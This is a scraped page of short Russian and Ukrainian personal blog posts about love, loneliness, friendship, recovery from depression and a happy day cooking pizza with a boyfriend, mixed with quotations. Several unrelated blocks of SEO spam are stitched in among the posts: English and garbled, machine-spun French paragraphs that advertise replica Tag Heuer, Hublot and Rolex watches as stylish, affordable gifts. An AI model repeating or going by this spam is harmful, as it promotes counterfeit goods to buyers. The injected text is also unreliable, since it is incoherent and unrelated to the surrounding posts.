знаєш, я в тебе вірю, всім своїм серцем. Я за ці дні, проведені з тобою. взяла в тебе уроки))) я в тебе хочу навчатись жити))
ти це робиш неймовірно) ти мене просто надихаєш, розумієш?
а якщо ти надихаєш людей, хіба ж можуть бути твої справи марними??

Как я вредная была до ужаса, постоянно капризничала и мне было нереально угодить. Или как обнимала деревья. Или как спички пыталась спиздить. Да много чего такого есть.

Их слишком много. Если бы в книгах тебя ничего не трогалj, то не было бы тогда смысла их читать.

«Ну я же не говорю, что надо делать только то, что хочешь. Просто нужно совмещать то, что тебе не нравится, с тем, что хочешь делать. Так устроена жизнь.»

Она вернулась из Венгрии. Уволилась, приехала. Три дня назад. Увидеться со мной времени не нашла, пошла гулять с парнем, который тоже приехал из Венгрии, только в отпуск. Хотя его она видела еще на прошлой неделе. А меня поставила на последнее место, якобы если не будет планов она со мной встретиться. Ух, я уже еле сдерживаюсь, чтоб не высказать ей всё об этом ее отношении. Никогда не поддерживайте дружбу с такими людьми, оставляйте их наедине с их эгоизмом там же, где нашли.

Отличный Вторник :)

И снова, судьба дает мне возможность! Спасибо!

Отличный день.Уже настоящая Зима, а в душе то самое жаркое лето, с солнечным рассветом и аллым закатом :)

Уже и ноябрь приблежается к концу и наступит первый зимний месяц!

13.

Я счастлива.Мой Сладкий ноябрь.

Общались мы с тем соседом, который говорил, что я с ним якобы играю, а потом оказалось, что мы оба друг другу нравимся. Гуляли, переписывались. Он мне музыку скидывал. А потом… просто пропал.

Я как-то позвала его гулять. Он сказал, что не дома. И снова пропал.

Пару дней назад попросила его скинуть интересную статью, но он забыл. А когда напомнила сказал, что не нашел ее. Я попросила в двух словах рассказать, что там. В ответ получила достаточно грубый упрек в том, что он, блять, спать ложится и что умею я время выбирать. Честно говоря, раньше его это не останавливало.

Я разозлилась, написала, что как обычно все, поблагодарила за помощь и закрыла диалог.

Вот так все и происходит. Даже не понимаю, в чем дело было. Это тупо как-то.

И как тут бросать курить?

Рецепт грусти и печали на вечер: берем картинку с изображением военного, разбавляем воспоминаниями о нем, о нем в форме, пересматриваем оставшиеся его фотографии в форме, вспоминаем всевозможные рассказы о службе и наши планы с привкусами "жена военного", "мой военный". Перчим оставшимися чувствами и все еще не стертым осознанием, что ты все еще - девушка того самого военного. И вуа ля. На вкус это все похоже на проебанные надежды и ожидания. А я ведь верила в это все, я ведь верила.

Говорят что животные самые преданные существа, а я считаю что самое преданное существо это женщина, девушка в которой живёт любовь. Ведь она так отчаянно любит, ведь она принимает его в любое время суток, она отдаёт всю себя и ничего не просит в замен, она улыбается ему даже в самые тяжёлые моменты, она рядом в самые сложные минуты. Разве это не преданность? Даже если не ему то хотя бы своим чувствам, своей вере в него в них. В совместное будущее. Преданность это редкое чувство, не путайте его с подчинением, это такое же светлое чувство как любовь. За последнее время я стала скептиком и перестала во что то верить. Моя вера слаба во многих отношениях но преданность к людям для меня осталась неизменной.

No matter for man or women, a unique watch is emblematic of one’s taste and personality. It is normal that we frequently show excessive concern about which watches the stars wear even that is absolutely not a matter of great account. This situation exsits not only in fashion-conscious lady groups, but also in men. For some men who are enthusiastic about sports, watches worn by sports stars are irresistibly appealing tag heuer replica watches to them because a wristwatch is a best indicator of man’s self-image. Tag Heuer watches are definitely tailor-made accessories for men. With all-embracing watches, you can always pleasingly find an item matched your taste from Tag Heuer’s watch line no matter you take a fancy to complicated or understated style. You can obviously capture the value of this replica Tag Heuer Carrera watch at only one glance even though it is compactly designed. Gold details, top grade leather strap and elegant silver dial are all the marks of a noble watch. Today, we are living in a world where high-tech products are much more reachable than before. That means most functions of a watch can be perfectly replaced by other devices like cellphones. But the only thing that can never be substituted is the decorative function of wristwatch. This replica Tag Heuer Carrera watch aims to retell the classic and retro design in a more recent and fashionable way. Just the simple design of a big silver opalin dial lifts our spirit since exaggeratedly complex design of a dial in complex watches seems cumbersome and elusive. Meticulously polished hour markers and hands with a round bezel made with 18ct yellow gold give this replica Tag Heuer Carrera watch a finishing touch. The function of this plain replica Tag Heuer Carrera watch is also not inferior than those complicated watches. With the aid of an improved movement, it can keep normal performance underwater to depth of 100 meters. It still enables to make rapid date correction in some exceptional cases. Actually, this replica Tag Heuer Carrera is really not a mechanical artwork like those which crafted skeleton design, but it is definitely a masterpiece with subtle details. It makes a smashing reforming in every part to demonstrate neoteric fascination while still keeps the icon of the classic piece.

Да-да, я из тех зануд, кто считает, что ошибки в словах недопустимы, когда ты взрослый, человек. Особенно страшно, когда пишут "я в постелЕ", "день рождениЕ", с "восьмым мартОМ"…

Время идёт, а я по-прежнему в пути — между прошлым, которое остаётся позади, и будущим, которое я пока не нашла. Я как будто что-то ищу и ни на чём не могу остановиться. Сесилия Ахерн. "Не верю. Не надеюсь. Люблю".

круто когда ты готов утешать друга несколько часов подряд, выслушивать и говорить как лучше поступить. но стоит сказать о своих проблемах, в ответ получаешь "да это хуйня, забей". или вовсе молчание. круто.

Incontestablement, Hublot est un genre d'une poignée de l'arène de l'horlogerie maîtres de la PGA qui sera généralement construire incroyable ce que vous devriez faire appel à vue branchés. Ce point de vue est effectivement make-bien connu pour le modèle frappant et vive à utiliser montres. Cette saison aussi, Hublot offre encore une fois de mélange versions avec motif séduisante imprévue. La nouvelle combinaison de marque Hublot Timeless Replique montres de luxe Qatar sortie, avec le particulier arrestive paraître, sont dévoilés à Doha Bijoux et Montres affichage au Qatar. Ces versions frais ont tendance à être conçus pour l'Alabama Majed Bijoux, certainement l'un des plus beaux Hublot & rsquos partenaires dans votre quartier. La société et la plus grande quête rsquos pour l'invention et la créativité et aussi son métier dramatique particulier de mélange sont introduits complètement à travers ces combinaison intemporelle montres Qatar sortie.

Ces montres Qatar sortie sont ce qui précisément sont positionnés dans une seule tête et rsquos si elles sont révélés. La belle nuance bordeaux est vraiment ce qui les transforme en des choses incroyablement bon goût et aussi notables. Il ya deux conceptions étant portés à la combinaison intemporelle Qatar sortie, tels que 45 mm d'un particulier pour les hommes ainsi que 38 mm d'un particulier avec cadre en pierre précieuse établi pour fille. Sans doute, en ce qui concerne le modèle et la mode seulement, ces garde-temps attrayantes sont parfaits suffisante pour se faire remarquer. Voilà pourquoi les fashionistas sont impatients pour la reproduction classé de montres Replique Vemontres Hublot. En double montres Hublot sont prévus pour imiter les caractéristiques personnelles révolutionnaires sur les versions originales, comme interrupteur bordeaux laque avec brillant finition, le logo de l'entreprise Qatar en arabe pour le commutateur, ainsi que «vague couture 'à broder pour le caoutchouc de couleur foncée et sangles de Gator bordeaux qui raconte sur la chasse du Qatar. Combinaison Hublot Timeless est presque certainement considerd pour la raison que seul ensemble minimal et sans ostentation dans Hublot habitation. Néanmoins, les versions Qatar étape de libération avec le modèle sobre à votre modèle un peu étalage et ludique tout ils maintiennent néanmoins votre personnage célèbre sur le modèle de combinaison intemporelle. Pour afficher les clients qui veulent inclure un peu d'ombre vivante de l'habillement, montres Hublot reproduction sont les mêmes portions de super-héros pour décider.

«Вообще я совершенно замкнутый человек, закрытый, не общительный, холодный, я не люблю когда меня открывают как консервную банку, я скрежещу, знаете вот как банка под ножом консервным и даже могу порезать краями… ваши пальчики».

Кира Муратова.

Я до сих пор верю, что любовь — это когда даришь … шоколадные конфеты, или в некоторых странах дарят, например, курицу. Вы, конечно, можете считать меня придурком, но все равно я верю, что любовь существует . Понимаете… пары, которые предназначены друг для друга … они проходят через все то же дерьмо, что и остальные пары. Разница лишь в том, что они не сдаются . И эти пары обязательно сражаются за свои отношения.

Доктор Кокс о любви


Я, конечно, не считаю что жизнь это зебра с черными и белыми полосами, мне она представляется радугой, на данный момент я нахожусь где-то в фиолетовом и постепенно чувствую как переношусь в светлое желтое или голубое скорее всего, учитывая приближающееся время года. Друг попросил на одну ночь приютить его соседа. Парень оказался очень милым и воспитанным. Он модель, визажист, при этом еще риэлтор, а также вкусно готовит, чистоплотный, знает казахский, турецкий, английский, вообще молодчинка. А еще постоянно путешествует. Вчера он вдохновил меня пойти на собеседование в модельное агентство ANDRES. Сказал, что моя внешность там вотребована и надо не теряя времени туда вклиниться. Я поняла для себя, что с этим парнем мы будем дружить. Как приятно находить действительно стоящих людей в городе, где большая часть населения это люди, которые не знают что такое воспитание и умение добиваться чего-то по жизни.
Еще выход из деперссии можно определить по тому, что стало легче вставать рано утром, начинаешь краситься по другому, одеваешься с большим удовольствием, находишь время для того, чтобы попить чай и почитать книгу. Да, это все, что мне надо для хорошего утра.

Надела платье сшитое на заказ в институт и читала во взглядах баб одно -"худая маленькая сука". Худая, маленькая..а еще несчастная и одинокая. Главное здесь, конечно-несчастная и одинокая. И знаете, даже всем этим стервам я не пожелаю такого.

It’s hard to estimate the trend of luxury replica watches in the future. However, what can be sure is that the popularity of replica Rolex watches in recent years is peerless. More and more online stores are apt to sell high quality Rolex replica watches at low prices, and an increasing number of individuals are fond of purchasing these replica watches online. The attraction of Rolex replica watches is incomparable. These replica watches not only are provided with powerful functions but also feature outstanding and eye-catching designs. With no doubt, wherever the wearers go, the luxury Rolex replica watches on their wrists will make an impression.

Then, what are the usages of chopard replica watches? First of all, you can consider complementing your fashion style with Rolex replica watches. These replica watches come in a great variety of styles and designs online. For those people who want to look luxurious, elegant or fashionable, Rolex replica watches always can satisfy different people’s needs. Therefore, if you wear a suitable style of Rolex replica, it will greatly elevate your taste and temperament. Secondly, Rolex replica watches are practical items. They are equipped with diverse functions. Besides basic hours, minutes and seconds functions, Rolex replica watches are available to tell the day, the date and standard time.

In addition, some of them have stopwatch feature and some watches are anti-magnetic. When you wear these replica watches, you don’t need to look at calendars or stopwatch at all. Additionally, Rolex replica watches are great choices for friends’ gifts. Many people will bother with the kind of gift for friends. Undoubtedly, Rolex replica watches can’t be better. This kind of gift has fashionable design, good reputation and excellent functionality. For the receivers, Rolex replica watches are very practical. They can pair their replica Rolex watches with different styles of fashion clothing. Moreover, the prices of replica Rolex watches are affordable and moderate. When you give a Rolex replica to your friend, you don’t need to cost much money. Meanwhile, the expense won’t be too low for a friend’s gift.

опять на те же грабли. мне не нравится мое близкое окружение, потому что это эгоистичные, зацикленные на себе люди, которые упиваются своей депрессией, специально создают конфликтные и проблемные ситуации, чтобы чувствовать себя еще хуже. а им и вправду хуево, только уже не от того, что было в начале, а от наркотиков, алкоголя и безделья. надо удаляться, чтобы не стать такой же, но это тяжело, потому что мне страшно одиноко.

и только сейчас, когда моя лучшая подруга живет в другой стране, а парень, которого я люблю, даже женщину во мне не видит, я поняла, что на самом деле всегда была одна. и что за всю жизнь я была влюблена лишь два раза, и только один взаимно, а остальное время встречалась с первыми встречными, только бы не чувствовать себя одиноко. и это не открытие, а просто честность перед собой, к которой я долго не была готова.

просто надо встать. убрать свою комнату. составить расписание. спать по ночам. не пить лошадиными дозами. уйти от всех. не заходить в социальные сети. ходить в библиотеку. читать. учиться. читать. учиться. я это умею, я очень хорошо знаю, как приводить жизнь в порядок ("курить бросить легко. я сам бросал тысячу раз"). я не из тех, кто захлебывается в своих соплях, какого черта я им уподобляюсь. просто надо сделать первый шаг.

«У меня есть пара огромных шкафов и сундуков, битком набитых чувствами к тебе. Но они запираются на ключ, и этот ключ у меня в кармане».

Даниэль Глаттауэр, Все семь волн

Сегодня мне снились очень яркие сны, а это значит, что внутри меня все наладилось. Не знаю почему так, но сны всегда были частью меня. Иногда я даже ложусь спать с мыслью о том, что мне будет сниться целый мир иллюзий. Мой мир.

У нас ударили морозы, по утрам уже минус тридцать. Этот год заканчивается. Год, который принес так мало хорошего, так много дал понять и столько всего отобрал. Совсем скоро я куплю ёлку, напишу сюда список любимых новогодних фильмов и впервые за все время с А. в новогоднюю ночь мы никуда не пойдем, а останемся дома.

В 2016 году я, наконец, оставлю эту работу в прошлом. Мне нужно много времени, чтобы проститься с тем, что долгое время было для меня важным, но утратило весь "свет".

Мне сегодня, наконец, спокойно.

«я бы стала твоей Кассандрой. перепуганной, недоверчивой. ты б узоры на мне вычерчивал паутинкой любовной мантры. я бы счастье тебе пророчила, но с другой, что меня счастливее.

за окном, между всеми прочими, проходили бы судьбы ливнями. проливались бы нам на плечи и на ладони, полны закатами.

я тобою одним залечена, я тобою одним залатана.

дождь стучится в окно. смеркается. ночь стоит у порога, ежится.

наши шансы все так же множатся, и Фортуна нам улыбается. я бы стала твоей любимой, полной верности и покоя.

дождь идет. и проходит. мимо.

ты бы принял меня, изгоя? оголтелую в своей нежности, потерявшуюся в знамениях, позабывшую цену вечности, полюбившую дни затмения, неизбывную, неизменную, обреченную, непреложную… окрыленную своей верою…

полюбившую невозможное».

nair.

Достали эти мальчонки-качки, считающие себя мужественными только потому, что ходят в зал. Какие ж из вас мужчины, если вы подобно маленьким девочкам, которые хвастаются своей новой куклой, хвастаете своими "тренями", как круто вы сегодня "тренили"(как же бесит это слово!), жалуетесь, как сложно жить без протеина, глупо шутите о том, сколько жрете, когда "на массе" и как вам наплевать на вашу девушку, когда есть спорт… Все гламурные мальчики сегодня превратились в гламурных качков. В вас, - тощих, в узких штанишках, безграмотных олухов, - собственно изменился только размер одежды и прибавилось вашего придуманного ощущения, что теперь можно считать себя "мужиком" и отпускать шуточки на счет "женской логики". Вы всё такие же никчемные, пустые трусы, с теми же зализанными причесочками, в розовых футболочках, до неприличного озабоченные своей внешностью и подписчиками в инстаграм, фотографирующие себя в зеркале с губками уточкой. Думаете одни мышцы сделают из хлюпика мужчину? Мужчиной делают сила (духа и тела), поступки, ум, храбрость, смекалка, забота, остроумие, чувство юмора, умение найти выход и вселять уверенность. А пока ты постишь тысячу фото своего тела и смазливой морды в альбом "мои треньки - моя жизнь" пишешь, как устал, и ждешь похвалы от малолетних шлюшек - настоящий мужчина возвращаясь с пробежки, думает, как еще больше преуспеть в собственном бизнесе и в какой ресторан пригласить любимую жену на пятую годовщину свадьбы.

Врагу не пожелаю оказаться в таком положении, как я сейчас. Я одновременно счастлива и разбита. Не знаю, как выпутаться из этого жуткого круга, чтобы не сделать ещё хуже. Ничего пока не буду рассказывать, просто напишу, чем закончится. Пройдёт, чувствую, не один месяц, прежде, чем что-то будет ясно. Одно ясно точно, вчера я была абсолютно счастлива, и мне совсем не хочется думать о второй стороне этой ситуации :)

"А я всё чаще замечаю, что меня как будто кто-то подменил"

А кто же это был? Все мои сомнения ушли после долгого разговора с мамой. Окончательно они растворились после основательной беседы с тем самым, тревожащим душу и мысли. Он снова приезжал на выходные. Для меня никто не делал ничего подобного, и, честно говоря, мне даже не верится, что для кого-то я могу быть важной, нужной. Я себя не узнаю, от моих колючек не осталось ровным счётом ничего. Я лысый, беззащитный ёжик, снова окрылённый той неповторимой влюблённостью, что была когда-то давныыыыым-давно!

Кажется, учёба меня совсем перестала интересовать. Я чувствую, как на меня наваливается море, просто океан неразобранных дел. Чую, что скоро все регламенты истекут и все вдруг и разом дружно покажут мне не самый дружелюбный палец на руке. Ну а я…а я чего? А я вообще-то теперь получила роль новогоднего снеговика и мечтаю о новогодней ночи с тем самым, уехавшим, но обещающим вскоре вернуться.

Идеальный день.

Собирались пораньше встретиться, чтобы как можно раньше поехать ко мне, провести время с Миланой. Встала в 11, начала собираться. Китти проснулся, набрала ему, чтобы решить с планами. Я хотела так: еду к папеньке за деньгами, после встречаюсь с Китти, едем за журналами, далее за браслетом и и няшными штучками, затем ко мне. Китти, как обычно, перевернул все планы:

-Приезжай ко мне, скачаем вместе фильмы, - возразить не смогла. Час времени роли не сыграет..

Взяла игрушку Валере, в час выехала к Китти. Посчитала, что максимум в 14.30 мы должны будем от него выехать. Мысли были где-то далеко, в завтрашнем дне, предстоящей операции.. Неоднократно по дороге скатывались слёзы по щекам. Мне было так страшно.. Старалась не думать о плохом, но мысли меня атаковали, не давая покоя. Приехала к Китти, он сразу обнял меня в лифте:

-Перестань. Всё будет хорошо, ты же знаешь. Тебе ведь говорили врачи, что настрой хозяина играет немаловажную роль, - успокоилась.

На столешнице меня уже ждал завтрак, Китти сварил кофе. Снова насильно меня кормил..) Решили скачать "Чёрный список", чтобы, наконец, досмотреть его. Пока сериал качался, я красила ногти, попивая кофеёк, отгоняя плохие мысли прочь. Китти пошёл собираться, а я мыть посуду.) Приходит:

-Что ты делаешь?

-А ты что, не видишь? Посуду мою, - улыбнувшись, ответила я, на что Китти довольно-нежным голосом:

-Спасибо, люблю тебя, - обнял.

Всё сделали, поехали к папеньке. Успели поболтать, посмеяться с папенькой. Время поджимало. Две встречи отменились, перенеслись. Нам нужно было только за журналами и купить мне новый шампунь, ибо от предыдущего нового полезли волосы. По дороге зашли в ТЦ, купить продавщице шоколадки. Всегда приносим ей шоколадки за то, что откладывает нам журналы. Очень хорошая женщина. Журналы забрали, теперь можно и домой. Правда, я решила купить шампунь возле ТЦ, чтобы уже не шляться у меня на районе, а сразу пойти домой. Минут 10 выбирала шампунь. Китти, показывая на Elseve:

-Бери этот!

-Почему?

-Не, мне цвет понравился.

-Отлично.

-А как ты выбираешь шампунь? Читаешь, что на них написано?, - мужчины.))

-Ну конечно!

Выбор был невелик, однако я больше обычного выбирала.) Склоняясь то к одному, то ко второму, то к третьему. Взяла второй.) Хотя уже сразу рассчитывала, что он мне не подойдёт. В метро заметили, как мусора задержали нерусских. Они стояли с иронично-грустно-удивлённой улыбкой на лице. Я, конечно, всё понимаю, но, что, теперь будут всех нерусских задерживать в метро? Даже тех, у кого с собой нет багажа? Сочувствую студентам меда- там много нерусских.) Кажется, кто-то теперь будет регулярно опаздывать на пары.)) Приехали домой в 17.30. Хотя накануне хотели с самого обеда быть у меня, чтобы смотреть сериал на телевизоре. Однако, наш план мы всё же выполнили. Первым делом сходили в ванну. По традиции играли в "Слова", затем в марки машин.) Я не знала только военных и русских.) Так что всё очень даже неплохо, довольна собой.) Вторым делом мы согрелись после ванны..) Третьим пошли делать пиццу!) Китти:

-Давай сделаем брату и папе.

-Не уверена, что они будут. Папенька, так точно. Он н елюбит пиццу.

-Тогда Артуру сделаем.

И мы начали готовить 3 пиццы.) Честно сказать, я даже не успела посодействовать процессу, поскольку пока доставала, подавала, убирала ингредиенты, мыла посуду- Китти уже успел всё сделать. Хотя я раскладывала овощи, засовывала в духовку, следила за процессом.) Чтобы не бегать туда-сюда, решили начать смотреть сериал на кухне, попивая чаёк. Милаша от нас не отходила, так что мне пришла в голову идея- принести её домик на кухню.) Мила была в шоке, конечно.) Проверила, на месте ли "клад", игрушки.) Произошёл маленький казус- Принцесса что-то не то съела, сходила в туалет.. Я ну никак не могла его выбросить, ибо бы точно вытошнила. И Китти понёс выносить туалет. Без лишних слов.. Ну а теперь вернёмся к вкусному..) Первой была моя пицца, затем Китти, ну а последняя- брата. Пиццы получились очень вкусные, всем всё понравилось.) Я съела половину и очень ей наелась.) Как и Китти, вообщем-то.) Убрали всё на кухне, отправились ко мне в комнату продолжить просмотр "Чёрного списка".

Сложно передать всё текстом. Ведь эмоции, чувства, моменты невозможно полностью описать. Повторюсь, что это был идеальный день, поскольку мы вместе обедали, ездили по делам, принимали ванну, делали пиццу, ужинали, проводили время с Принцессой и Миланой.

Не раз плакала, но Китти меня быстро успокаивал: нежность+тёплые слова+забота+любовь= творят чудеса.

Китти делает меня невероятно счастливой.


Решила посмотреть, как я выгляжу..

Сложный выбор.)

Вот бы каждый день так начинался…

Почти вся верхняя одежда мне велика на размер-два-три.) Просто если мне очень понравилась вещь, а размер большой, меньший нигде не найдёшь- я всё равно её куплю, совсем не заморачиваясь.) Большая- не маленькая.))

Оставили мопсу одну, сами ушли на кухню..))

Основание для пиццы с пастой.

Сыр.

Любимые перчик и помидор.

Китти, брату и мне ^^

Китти пиццер ^^

Китти и брату колбаса..

Немного корейской моркови.

Любимой кукурузки..

И последний сладкий штрих- немного консервированных персиков..

Вуаля, готово! Вкусно, аппетитно, просто!

Принесла Милане на кухню домик, чтобы не грустила одна, не сидела на полу, пока пицца готовится, а мы пьём чай\кофе и смотрим сериальчик ..)

Кто не любит пиццу?))

Пиццу поели, компотик попили, теперь можно сладко уснуть.

Делаю как чувствую. Чувствую что не понимаю что мне надо, кто, когда и зачем. Как же надрело до сих пор каждый вечер вспоминать. Сотрись с моей памяти к чертям. Я не хочу мерять людей по тебе, я воообще не хочу ничего связывать в своей жизни (даже в мыслях) с тобой. Иди к черту.

— Ты ненормальная!
— Ну-ка повтори, что ты сказал!
— Я говорю, ты ненормальная!
— А ну повтори еще разок!
— Ты. Ненормальная.
— Не намерена выслушивать претензии от человека, который уже дважды беспрекословно выполнил приказы ненормальной женщины.

Самое тяжелое ночью так это то, что когда ложишься спать осознаешь свое одиночество. В попытках уснуть ты переворачиваешься с одного бока на другой, а все потому чтовоспоминания заставляют себя вспомнить. Ты вспоминаешь все самые теплые и приятные моменты с человеком, который сейчас далеко от тебя и навряд ли когда-нибудь станет так же близок как раньше, потому что ваши пути немного разошлись. Вспоминаешь все, до последних мелочей: как он говорил, как он делал то или иное, как он обнимал тебя, держал за руку, как смотрел на тебя влюбленными глазами. Ты вспоминаешь как вы вместе проводили время, которого вам вечно не хватало, как дарили друг другу улыбки, радость, счастье и любовь, вспоминаешь первые ссоры, которые быстро переходили в шутки, ведь вы не понимали как это так что вы будете когда-либо ссориться или ругаться, вспоминаешь бессоные ночи за разговорами обо все на свете. Но это лишь воспоминия…

И теперь, когда ты пытаешься заснуть, ты представляешь его, представляешь как ты лежишь у него на груди, как он тебя обнимает, как вы в такой идилии засыпаете вдвоем. Не только засыпаете, но и просыпаетесь. Представляешь как он желает тебя "спокойной ночи" или "доброе утро" и целует либо в лоб либо в щеку. Представляешь как он обнимает тебя всю ночь, как он дышит тебе в шею. Порой тебе кажется что ты слышишь его аромат, но тебе это только кажется. И как бы сильно ты себе это все не представляла- реальностью это быть не может. Тебе приходится вспоминать что было или мечтать о том, что могло бы быть сейчас.

Его рядом нет…

Ты засыпаешь одна…

Без него…